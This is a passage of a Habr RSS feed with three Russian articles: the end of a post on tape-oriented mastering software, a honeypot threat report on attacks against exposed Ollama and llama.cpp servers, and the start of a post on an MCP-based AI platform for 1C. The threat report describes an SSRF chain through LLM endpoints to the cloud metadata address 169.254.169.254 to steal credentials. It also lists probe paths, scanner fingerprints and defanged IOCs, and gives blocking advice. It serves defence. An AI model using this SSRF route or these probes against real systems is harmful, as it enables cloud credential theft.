Score&lt;/strong&gt; (0…1): взвешенная сумма превышений LUFS/TP над потолком профиля, roughness, sharpness, HF above masking, ringing index, низкой LF correlation, высокого HF energy ratio, клиппинга.&lt;p&gt;Для Kenwood KX-1100G score умножается на &lt;code&gt;(1 − autoPrepRelief)&lt;/code&gt;, где &lt;code&gt;autoPrepRelief = 0.18&lt;/code&gt; — планировщик &lt;strong&gt;менее агрессивен&lt;/strong&gt;, чем для «голых» профилей IEC.&lt;h3&gt;Шаг 3. Цепочка DSP&lt;/h3&gt;&lt;p&gt;Реализация — &lt;code&gt;CassetteAutoMaster::processTrack&lt;/code&gt;. Сигнал проходит через кастомный граф обработки:&lt;h4&gt;Инфра-HPF (~25 Hz)&lt;/h4&gt;&lt;p&gt;Отрезаем суб-низкие частоты, которые дека всё равно не запишет, но которые бесполезно насыщают магнитный слой. В режиме hot/clean &lt;strong&gt;отключён&lt;/strong&gt; — на peaky материале после HPF limiter давал заметное проседание LUFS.&lt;h4&gt;Side LF mono&lt;/h4&gt;&lt;p&gt;Переводим сигнал в Mid/Side. В канале Side отрезаем всё ниже ~120 Hz. Бас становится монофоническим — меньше crosstalk на кассетной головке.&lt;h4&gt;Adaptive HF Tamer&lt;/h4&gt;&lt;p&gt;Динамический эквалайзер в полосе 4.5–14 kHz. Если наступает критический пик энергии на ВЧ, который вызовет self-erasure, tamer мягко «присаживает» эту частоту. На спокойном материале прозрачен.&lt;h4&gt;Roughness De-Esser&lt;/h4&gt;&lt;p&gt;Борется со специфическим «звоном» цифровых лимитеров — без глобального low-pass.&lt;h4&gt;True Peak Limiter + Post-chain loudness trim&lt;/h4&gt;&lt;p&gt;Integrated LUFS и True Peak — &lt;strong&gt;два разных ограничения&lt;/strong&gt;. На кассете важны оба.&lt;p&gt;Для hot/clean, когда горячие &lt;strong&gt;и&lt;/strong&gt; LUFS, &lt;strong&gt;и&lt;/strong&gt; TP, берётся &lt;strong&gt;менее агрессивный&lt;/strong&gt; из двух gain — чтобы limiter не «съедал» лишние LU.&lt;p&gt;После limiter/HF chain измеряется LUFS. Если источник был «горячим», но выход ниже cap — makeup (до +4.5 dB). Если выше cap — лёгкий cut. Для тихих источников boost &lt;strong&gt;не применяется&lt;/strong&gt;.&lt;p&gt;Итеративный цикл до 4 проходов с re-limit только на full prep path.&lt;h4&gt;Физика → DSP&lt;/h4&gt;&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;p&gt;Физическое явление&lt;th&gt;&lt;p&gt;Ответ CassetteMaster&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Насыщение ленты (Jiles–Atherton)&lt;td&gt;&lt;p align=left&gt;Gain staging к maxIntegratedLUFS, soft clip только Type I / lo-fi&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Self-erasure / HF bias&lt;td&gt;&lt;p align=left&gt;Adaptive HF Tamer, Side HF cut&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Crosstalk&lt;td&gt;&lt;p align=left&gt;Side LF mono (HPF Side &amp;lt; 120–150 Hz)&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Head gap + 4.76 cm/s&lt;td&gt;&lt;p align=left&gt;Side HF cut по профилю&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Inter-sample peaks&lt;td&gt;&lt;p align=left&gt;True Peak meter + limiter&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3&gt;Профили ленты и Kenwood KX-1100G&lt;/h3&gt;&lt;p&gt;Профили заданы в &lt;code&gt;CassetteProfile&lt;/code&gt;. Для Kenwood — &lt;code&gt;applyKenwoodKX1100GTuning&lt;/code&gt;: без эмуляции Dolby HX-Pro, расширенный HF headroom, повышенный biasReductionOnHf на Type II.&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;p&gt;Kenwood +&lt;th&gt;&lt;p&gt;max LUFS&lt;th&gt;&lt;p&gt;TP ceiling&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Type I&lt;td&gt;&lt;p align=left&gt;−11.0&lt;td&gt;&lt;p align=left&gt;−0.8 dBFS&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Type II&lt;td&gt;&lt;p align=left&gt;−11.5&lt;td&gt;&lt;p align=left&gt;−0.5 dBFS&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Type IV&lt;td&gt;&lt;p align=left&gt;−11.0&lt;td&gt;&lt;p align=left&gt;−0.2 dBFS&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/bdb/e5b/936/bdbe5b9363cdcfa43620987d935f0770.png width=2424 height=1920 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/bdb/e5b/936/bdbe5b9363cdcfa43620987d935f0770.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/bdb/e5b/936/bdbe5b9363cdcfa43620987d935f0770.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;h3&gt;Mixtape: папка → Side A / Side B&lt;/h3&gt;&lt;p&gt;Перетащите &lt;strong&gt;папку&lt;/strong&gt; с альбомом — программа сканирует аудио, сортирует имена natural sort, считает длительность с gap 2 s между треками.&lt;p&gt;Если материал не помещается на C60/C90/C120 — greedy packing на несколько кассет:&lt;p&gt;Каждый трек проходит per-track mastering, затем сводится на timeline стороны.&lt;h3&gt;Тест на живом материале: Charli XCX&lt;/h3&gt;&lt;p&gt;Для регрессии DSP — fixture прямо в CI: 90-секундный фрагмент &lt;strong&gt;Charli XCX — SS26 Rock Music&lt;/strong&gt;.&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;p align=left&gt;&lt;th&gt;&lt;p&gt;Before&lt;th&gt;&lt;p&gt;After&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Integrated LUFS&lt;td&gt;&lt;p align=left&gt;−9.86&lt;td&gt;&lt;p align=left&gt;−10.80&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;True Peak&lt;td&gt;&lt;p align=left&gt;+0.15 dBFS&lt;td&gt;&lt;p align=left&gt;−0.80 dBTP&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Plan&lt;td&gt;&lt;p align=left&gt;—&lt;td&gt;&lt;p align=left&gt;KX-1100G hot/clean&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Планировщик корректно выбрал &lt;strong&gt;hot/clean&lt;/strong&gt; — только level + limiter, без HF prep. Результат укладывается в cap Kenwood Type I (−11 LUFS), TP строго на ceiling.&lt;p&gt;&lt;strong&gt;Почему это важно:&lt;/strong&gt; в ранних версиях тот же трек «перегашивался» до ~−14 LUFS — limiter и infra-HPF работали в связке и съедали 3–4 dB энергии без необходимости. Новая архитектура устранила перегас, сохранив безопасные пики.&lt;h3&gt;Заключение&lt;/h3&gt;&lt;p&gt;CassetteMaster — специализированный &lt;strong&gt;tape-oriented mastering&lt;/strong&gt;, а не универсальный loudness maximizer. Программа сочетает:&lt;ul&gt;&lt;li&gt;&lt;p&gt;объективный и психоакустический анализ стриминговых мастеров;&lt;li&gt;&lt;p&gt;автоматический выбор глубины обработки — от «только level + TP» до полного HF/LF prep;&lt;li&gt;&lt;p&gt;профили ленты и деки с физически мотивированными потолками LUFS/TP/HF;&lt;li&gt;&lt;p&gt;прозрачный DSP с post-chain loudness trim и защитой от двойного перегаса;&lt;li&gt;&lt;p&gt;mixtape workflow для альбомов и папок;&lt;li&gt;&lt;p&gt;verifiable quality через автотесты и fixture реального pop-трека.&lt;/ul&gt;&lt;p&gt;Спасибо за чтение!&lt;div class=persona&gt;&lt;img class=&#34;image persona__image&#34; src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/dcd/dba/896/dcddba896ec4c949dec4aa0bb59a0a4b.jpg sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/dcd/dba/896/dcddba896ec4c949dec4aa0bb59a0a4b.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/dcd/dba/896/dcddba896ec4c949dec4aa0bb59a0a4b.jpg 781w&#34; loading=lazy decode=async&gt;&lt;h5 class=persona__heading&gt;Денис Попков&lt;/h5&gt;&lt;p class=persona__text&gt;KMP разработчик в «Black Bricks»&lt;/div&gt;&lt;p&gt;Если вы нашли неточности/ошибки в статье или просто хотите дополнить её своим мнением — то прошу в комментарии! Или можете написать мне в &lt;a href=https://t.me/MolodoyDenis rel=&#34;noopener noreferrer nofollow&#34;&gt;Telegram&lt;/a&gt;. Также подписывайтесь на мой &lt;a href=https://t.me/cassette_geek rel=&#34;noopener noreferrer nofollow&#34;&gt;ТГ-канал&lt;/a&gt;. Там пишу про свои будни, кассеты и винил :&amp;gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>popkovden</author>
      <guid>https://habr.com/ru/articles/1046213/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046213</guid>
      <pubDate>Wed, 10 Jun 2026 18:14:22 +0000</pubDate>
    </item>
    <item>
      <title>Кто ворует ваш GPU: атаки на открытые LLM-эндпоинты (Ollama, llama.cpp) — и при чём тут кража облачных ключей</title>
      <link>https://habr.com/ru/articles/1046207/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046207</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/webt/d1/47/c8/d147c8e983bbb1c8245bf185c35c2abc.png sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/webt/d1/47/c8/d147c8e983bbb1c8245bf185c35c2abc.png 780w,&#xA;       https://habrastorage.org/r/w1560/webt/d1/47/c8/d147c8e983bbb1c8245bf185c35c2abc.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;blockquote&gt;&lt;p&gt;Часть 2 серии про атаки на AI-инфраструктуру. В &lt;a href=https://habr.com/ru/articles/1008760/ rel=&#34;noopener noreferrer nofollow&#34;&gt;первой части&lt;/a&gt; мы поймали на ловушку сканер, который встроил разведку &lt;strong&gt;MCP&lt;/strong&gt; (Model Context Protocol — протокол инструментов для агентов) в обычный мультипротокольный скан. Тогда речь шла о слое &lt;em&gt;агентов и инструментов&lt;/em&gt;. Сегодня спускаемся на уровень ниже — к самому &lt;strong&gt;inference-слою&lt;/strong&gt;: открытым серверам Ollama и llama.cpp, на которых крутятся модели. И тут картина мая 2026-го получилась куда интереснее, чем «просто сканируют».&lt;/blockquote&gt;&lt;p&gt;Коротко тезис: открытый Ollama — это &lt;strong&gt;бесплатный GPU для атакующего&lt;/strong&gt;, и охота за таким compute давно поставлена на поток. Но за май наша сеть ханипотов (приманки в DE/US/RU) зафиксировала не только воровство инференса, а нечто новое — &lt;strong&gt;использование LLM-эндпоинта как SSRF-плацдарма для кражи облачных учёток&lt;/strong&gt;. Разберём по данным.&lt;p&gt;(Про «открытые AI-сервера без аутентификации» как явление подробно — в &lt;a href=https://habr.com/ru/articles/1008760/ rel=&#34;noopener noreferrer nofollow&#34;&gt;части 1&lt;/a&gt;, повторяться не буду; здесь — про то, что с ними делают.)&lt;h3&gt;Откуда данные&lt;/h3&gt;&lt;p&gt;У нас развёрнута сеть приманок (honeypot) в трёх странах. Среди прочих сервисов — &lt;strong&gt;фейковый Ollama API&lt;/strong&gt; на стандартном порту &lt;code&gt;11434&lt;/code&gt;: он отвечает как настоящий Ollama (список моделей, OpenAI-совместимые эндпоинты), но ничего не исполняет, а пишет в лог каждый запрос: путь, тело, User-Agent, источник. За май на эту приманку прилетело &lt;strong&gt;~75 300 запросов&lt;/strong&gt;.&lt;p&gt;Это уже не шум. Это зрелая категория со своей таксономией, инструментарием и — что важнее всего — &lt;strong&gt;постоянными акторами&lt;/strong&gt;, которых видно из месяца в месяц.&lt;h3&gt;Анатомия атаки: что именно делают с открытым Ollama&lt;/h3&gt;&lt;p&gt;Разложим классифицированные запросы по типу активности (доли округлены, от размеченной части трафика):&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;p align=left&gt;Тип&lt;th&gt;&lt;p align=left&gt;Доля&lt;th&gt;&lt;p align=left&gt;Что это значит&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Сканирование&lt;td&gt;&lt;p align=left&gt;~95%&lt;td&gt;&lt;p align=left&gt;Массовый поиск открытых Ollama/llama.cpp в интернете&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;code&gt;inference_abuse&lt;/code&gt;&lt;td&gt;&lt;p align=left&gt;~3.7%&lt;td&gt;&lt;p align=left&gt;Кража инференса: гоняют запросы к &lt;code&gt;/api/generate&lt;/code&gt;, &lt;code&gt;/v1/chat/completions&lt;/code&gt;&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;code&gt;model_abuse_external&lt;/code&gt;&lt;td&gt;&lt;p align=left&gt;~0.8%&lt;td&gt;&lt;p align=left&gt;Попытки подгрузить/использовать сторонние модели&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;code&gt;&lt;strong&gt;ssrf_cloud_cred&lt;/strong&gt;&lt;/code&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;~0.5%&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;SSRF через LLM-эндпоинт → кража cloud-metadata кредов&lt;/strong&gt;&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;code&gt;admin_probe&lt;/code&gt;&lt;td&gt;&lt;p align=left&gt;~0.1%&lt;td&gt;&lt;p align=left&gt;Зондирование админских путей&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;95% — это, ожидаемо, разведка: интернет прочёсывают на предмет «а есть ли тут живая модель». Но дальше начинается интересное.&lt;h4&gt;1. Кража инференса — экономика «бесплатного GPU»&lt;/h4&gt;&lt;p&gt;Зачем кому-то чужой Ollama? Затем же, зачем чужой майнинг-риг. Inference больших моделей стоит денег — GPU-часы, электричество, API-токены. Открытый Ollama без авторизации — это &lt;strong&gt;бесплатный inference-as-a-service&lt;/strong&gt;, который кто-то любезно выставил наружу. Атакующий находит его и начинает гонять через него свои нагрузки: генерацию текста под спам/фишинг/контент-фермы, обработку данных, прокси для своих сервисов.&lt;p&gt;Типичная последовательность в логах: сначала &lt;code&gt;/api/tags&lt;/code&gt; (узнать, какие модели стоят), потом &lt;code&gt;/v1/models&lt;/code&gt;, и если что-то живое — поток запросов в &lt;code&gt;/v1/chat/completions&lt;/code&gt; и &lt;code&gt;/api/generate&lt;/code&gt;. Самые частые эндпоинты за май:&lt;pre&gt;&lt;code&gt;/api/tags               8 131   ← инвентаризация моделей&#xA;/v1/chat/completions    3 102   ← OpenAI-совместимый inference&#xA;/v1/models              1 532&#xA;/props                  1 282   ← внимание: это llama.cpp, не Ollama&#xA;/api/generate             370&#xA;/api/show                  76&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;h4&gt;2. Сканируют не только Ollama — llama.cpp тоже&lt;/h4&gt;&lt;p&gt;Строка &lt;code&gt;/props&lt;/code&gt; (1 282 запроса) — маркер того, что охотятся &lt;strong&gt;не только за Ollama&lt;/strong&gt;. &lt;code&gt;/props&lt;/code&gt; — это эндпоинт сервера &lt;code&gt;llama.cpp&lt;/code&gt; (&lt;code&gt;llama-server&lt;/code&gt;), отдающий параметры загруженной модели. То есть сканеры держат в голове весь зоопарк self-hosted inference, а не один продукт. Если вы поднимали &lt;code&gt;llama.cpp&lt;/code&gt; «на посмотреть» и забыли закрыть — вас тоже найдут.&lt;p&gt;А ещё рядом зондируют автоматизацию:&lt;pre&gt;&lt;code&gt;/rest/oauth2-credential/callback    62   ← n8n&#xA;/api/v1/webhook/test                62   ← n8n&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Это пути &lt;strong&gt;n8n&lt;/strong&gt; — платформы no-code-автоматизации, которую часто ставят рядом с локальной LLM для оркестрации AI-воркфлоу. Логика атакующего понятна: где открытый Ollama — там может быть и открытый n8n с креденшелами к десяткам сервисов.&lt;h4&gt;3. Главная новость мая: SSRF через LLM → кража облачных ключей&lt;/h4&gt;&lt;p&gt;Категория &lt;code&gt;ssrf_cloud_cred&lt;/code&gt; — то, чего в прошлых месяцах не было. Идея в следующем: многие inference-фичи умеют &lt;strong&gt;ходить по URL&lt;/strong&gt; (подгрузить модель, картинку, документ, дёрнуть webhook). Если эндпоинт принимает URL от пользователя и сервер бежит по нему сам — это классический &lt;strong&gt;SSRF&lt;/strong&gt;. А первое, куда направляют SSRF в облаке, — это &lt;strong&gt;metadata-сервис&lt;/strong&gt; &lt;code&gt;169.254.169.254&lt;/code&gt;, который отдаёт временные IAM-креды инстанса.&lt;p&gt;То есть схема эволюционировала:&lt;pre&gt;&lt;code&gt;Было (месяцами):   найти открытый Ollama → воровать inference (бесплатный GPU)&#xA;Стало (май):       найти открытый Ollama → SSRF на 169.254.169.254 → украсть cloud-креды → доступ ко всему облаку&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Это качественный сдвиг: &lt;strong&gt;от кражи compute к компрометации инфраструктуры&lt;/strong&gt;, на которой этот compute крутится. Доля пока небольшая (~0.5%), но это именно та активность, которая превращает «ну подумаешь, погоняли мою модельку» в «слили ключи от всего AWS-аккаунта».&lt;h3&gt;Инструментарий: чем сканируют&lt;/h3&gt;&lt;p&gt;Любопытная деталь — User-Agent’ы. Абсолютный лидер:&lt;pre&gt;&lt;code&gt;ollama/0.0.0 (amd64 linux) Go/go1.26.3        50 529 запросов&#xA;python-httpx/0.27.2                            8 972&#xA;Python/3.10 aiohttp/3.13.5                        703&#xA;axios/1.16.0                                      278&#xA;EchelonGraph-ShadowAIRadar-Verifier/1.0           218&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Первое место — &lt;strong&gt;официальный Go-клиент Ollama&lt;/strong&gt;. Сканеры не пишут свой HTTP-стек, а берут штатный клиент и используют его как массовый зонд: он уже умеет говорить на всех нужных эндпоинтах. Отдельно отметим &lt;code&gt;EchelonGraph-ShadowAIRadar&lt;/code&gt; — это коммерческий сканер AI-активов (с честным &lt;code&gt;+https://...&lt;/code&gt; в UA), который ходит по интернету и каталогизирует открытые AI-сервисы. Граница между «исследователь», «коммерческий разведчик» и «атакующий» здесь, как обычно, размытая.&lt;h3&gt;Лонгитюд: одни и те же акторы из месяца в месяц&lt;/h3&gt;&lt;p&gt;Самое ценное в долгом наблюдении — видно, что это &lt;strong&gt;не случайные боты, а устойчивые операторы&lt;/strong&gt;. Топ источников за май:&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;p align=left&gt;IP (defanged)&lt;th&gt;&lt;p align=left&gt;Запросов (доля)&lt;th&gt;&lt;p align=left&gt;ASN / атрибуция&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;code&gt;37[.]19[.]210[.]21&lt;/code&gt;&lt;td&gt;&lt;p align=left&gt;50 467 (~67%)&lt;td&gt;&lt;p align=left&gt;AS212238 Datacamp/CDN77 (вероятно VPN-exit)&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;code&gt;203[.]159[.]90[.]152&lt;/code&gt;&lt;td&gt;&lt;p align=left&gt;19 112 (~25%)&lt;td&gt;&lt;p align=left&gt;AS210558 1337 Services GmbH (по открытым данным — экосистема Stark Industries)&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Два IP — две трети и четверть всего трафика к приманке: это пара операторов, а не «весь интернет».&lt;p&gt;Второй IP — &lt;code&gt;203[.]159[.]90[.]152&lt;/code&gt; — мы видим &lt;strong&gt;не первый месяц&lt;/strong&gt;. В марте-апреле именно он доминировал в Ollama-абьюзе с ~125 000 запросов. Месяц спустя он по-прежнему активен. Это не «случайно прилетело» — это &lt;strong&gt;многомесячная кампания&lt;/strong&gt; со стороны сети, которую открытые источники связывают с экосистемой Stark Industries (поставщик «пуленепробиваемого» хостинга). Первое место в мае, &lt;code&gt;37[.]19[.]210[.]21&lt;/code&gt; (AS212238 Datacamp/CDN77), — вероятно, VPN-выход, прикрывающий реального оператора.&lt;p&gt;Вывод по тренду: атаки на LLM-инференс прошли путь &lt;strong&gt;сканирование → инвентаризация моделей → кража инференса → SSRF-кража облачных ключей&lt;/strong&gt;, обзавелись специализированными сканерами и связкой «LLM + n8n». Это самостоятельная поверхность атаки, а не подвид «веб-сканов».&lt;h3&gt;Что с этим делать (защита)&lt;/h3&gt;&lt;p&gt;Если у вас есть self-hosted inference (Ollama, llama.cpp, vLLM, LocalAI, text-generation-webui и пр.):&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Не выставляйте inference-порт в интернет.&lt;/strong&gt; Ollama по умолчанию слушает &lt;code&gt;0.0.0.0:11434&lt;/code&gt; без авторизации. Биндите на &lt;code&gt;127.0.0.1&lt;/code&gt; или в приватную сеть; наружу — только через reverse-proxy с аутентификацией.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Поставьте auth.&lt;/strong&gt; Перед Ollama/llama.cpp — nginx/Caddy с Basic-auth/mTLS или API-gateway. Сам Ollama auth «из коробки» не имеет.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Закройте SSRF-вектор.&lt;/strong&gt; Если используете фичи с загрузкой по URL — фильтруйте назначение: блокируйте &lt;code&gt;169.254.169.254&lt;/code&gt;, link-local, RFC1918, &lt;code&gt;localhost&lt;/code&gt;. На облаке — переходите на &lt;strong&gt;IMDSv2&lt;/strong&gt; (требует токен, ломает наивный SSRF) и ограничивайте hop limit.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Не забывайте про соседей.&lt;/strong&gt; Рядом стоящие n8n, Jupyter, Grafana, MLflow — отдельная поверхность. Тот, кто нашёл ваш Ollama, проверит и их.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Мониторьте исходящие к metadata.&lt;/strong&gt; Алерт на любой запрос к &lt;code&gt;169.254.169.254&lt;/code&gt; от inference-сервиса — дешёвый и надёжный сигнал компрометации.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Проверьте себя снаружи.&lt;/strong&gt; Shodan/Censys по &lt;code&gt;product:Ollama&lt;/code&gt; или порту &lt;code&gt;11434&lt;/code&gt; — посмотрите, не светитесь ли вы.&lt;/ol&gt;&lt;h3&gt;IOC (defanged)&lt;/h3&gt;&lt;pre&gt;&lt;code&gt;# LLM-abuse акторы&#xA;203[.]159[.]90[.]152    AS210558 1337 Services GmbH (Stark-связанная сеть, по откр. данным), многомесячная кампания&#xA;37[.]19[.]210[.]21      AS212238 CDN77/Datacamp (вероятно VPN-exit)&#xA;&#xA;# Сканер-фингерпринты (User-Agent)&#xA;ollama/0.0.0 (amd64 linux) Go/go1.26.3&#xA;EchelonGraph-ShadowAIRadar-Verifier/1.0&#xA;&#xA;# Подозрительные пути на inference-приманке&#xA;/props                              (llama.cpp probe)&#xA;/rest/oauth2-credential/callback    (n8n probe)&#xA;/api/v1/webhook/test                (n8n probe)&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;hr&gt;&lt;p&gt;&lt;em&gt;Данные — агрегированная телеметрия сети ханипотов за май 2026. TLP:CLEAR. Продолжение следует: в инференс-слое ещё много неразобранного.&lt;/em&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>fox52</author>
      <guid>https://habr.com/ru/articles/1046207/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046207</guid>
      <pubDate>Wed, 10 Jun 2026 18:05:50 +0000</pubDate>
    </item>
    <item>
      <title>Развиваем ИИ-платформу в 1С</title>
      <link>https://habr.com/ru/companies/cinimex/articles/1046197/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046197</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Привет! Я - Роман Коротаев, ресурсный руководитель направления 1С в компании Синимекс.&lt;p&gt;В этом материале хочу рассказать, как мы пришли к ИИ для 1С и что из этого вышло. Материал получился про попытку собрать полноценную ИИ-платформу для работы с учетными данными. Расскажу, зачем нам понадобился MCP, как мы связали его с 1С:Шина, почему отдельно уперлись в права доступа и как в итоге устроили агента внутри 1С. Также покажу, где видим место для skills, RAG и OCR, и что пока не стали отдавать модели на самостоятельное выполнение.&lt;p&gt;В конце 2024-ого - начале 2025-ого года я, наконец, начал присматриваться к большим языковым моделям и, как и многие, был полон скепсиса.&lt;p&gt;Я был в отпуске и первый опыт с только что вышедшей DeepSeek весьма удивил.&lt;p&gt;Модель вполне сносно писала шаблоны ЧТЗ и даже генерировала xml-скрипты bpmn-схем. Не с первого раза, понятно, но дотянуть до работающего варианта было возможно.&lt;p&gt;И я понял, что пора погружаться в тему серьёзно. Через пару месяцев подтянул к теме нашего архитектора 1С Дениса, научился оплачивать подписки, установил Cursor и дело пошло... :)&lt;h2&gt;MCP-сервер на 1С:Шина&lt;/h2&gt;&lt;p&gt;Разбираясь в теме function calling, tool use и MCP-серверов Денис предложил реализовать MCP на 1С:Шина. Кто не в курсе, 1С:Шина - это, по сути, платформа для разработки интеграционных приложений для баз 1С (и не только) на языке “1С:Предприятие.Элемент”. Это не язык 1С, но тоже на русском, похож на TypeScript.&lt;p&gt;Реализация MCP-сервера на 1С:Шина и размещение на нем функций (tools) облегчает задачу доступа к &lt;strong&gt;разным&lt;/strong&gt; базам 1С предприятия без необходимости разработки и разворачивания дополнительных средств интеграции с выделенным сервером MCP.&lt;p&gt;Архитектура текущего решения представлена на схеме ниже.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/e1a/313/b44/e1a313b44431eb02d57c33670b068a83.png width=796 height=697 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/e1a/313/b44/e1a313b44431eb02d57c33670b068a83.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/e1a/313/b44/e1a313b44431eb02d57c33670b068a83.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Как это работает? На стороне 1С:Шина реализованы типовые endpoint сервера MCP. При вызове функции, ассоциируемой MCP-сервером с функциями 1С происходит вызов определенного кода на языке 1С в базах 1С.&lt;p&gt;Далее, на стороне 1С переданный код выполняется от лица переданного также пользователя и результат возвращается MCP-серверу.&lt;h2&gt;Функции (tools, инструменты)&lt;/h2&gt;&lt;p&gt;Что такое function calling? Представим себе функцию, написанную в конфигурации 1С на языке 1С, выполняющую какое-то простое действие. Например, простой SELECT по определенным условиям из таблицы. Тогда при правильно составленном запросе пользователя в чат ИИ “&lt;em&gt;А что у нас по таким-то данным за прошлый год?&lt;/em&gt;”, LLM будет генерировать JSON с названием нужной функции и входящими параметрами. Дальше мы в 1С разбираем JSON, выполняем функцию и ответ возвращаем обратно в LLM, которая уже пользователю отвечает в удобном человеческом виде.&lt;p&gt;Вообще, разработке tools для MCP-сервера, работающего с бизнес-данными, можно посвятить отдельный материал. Здесь отмечу только, что важно проектировать инструменты именно с бизнес-ценностью. Например, у нас на демо-стенде есть &lt;strong&gt;&lt;em&gt;mcp‑1c_margin_breakdown&lt;/em&gt;&lt;/strong&gt;. Эта функция-запрос к регистру накопления 1С “ВыручкаИСебестоимостьПродаж” с детализацией по Подразделению, Менеджеру, Складу за период. При вызове функция позволяет LLM отвечать, например, на такой вопрос:&lt;p&gt;&lt;em&gt;“Покажи топ-10 менеджеров по валовой прибыли и найди тех, у кого маржа ниже 10% за последний квартал”&lt;/em&gt;.&lt;p&gt;Использование корректно спроектированных инструментов — это критически важная часть, позволяющая избегать галлюцинаций LLM практически в полном объеме. LLM тут не выдумывает 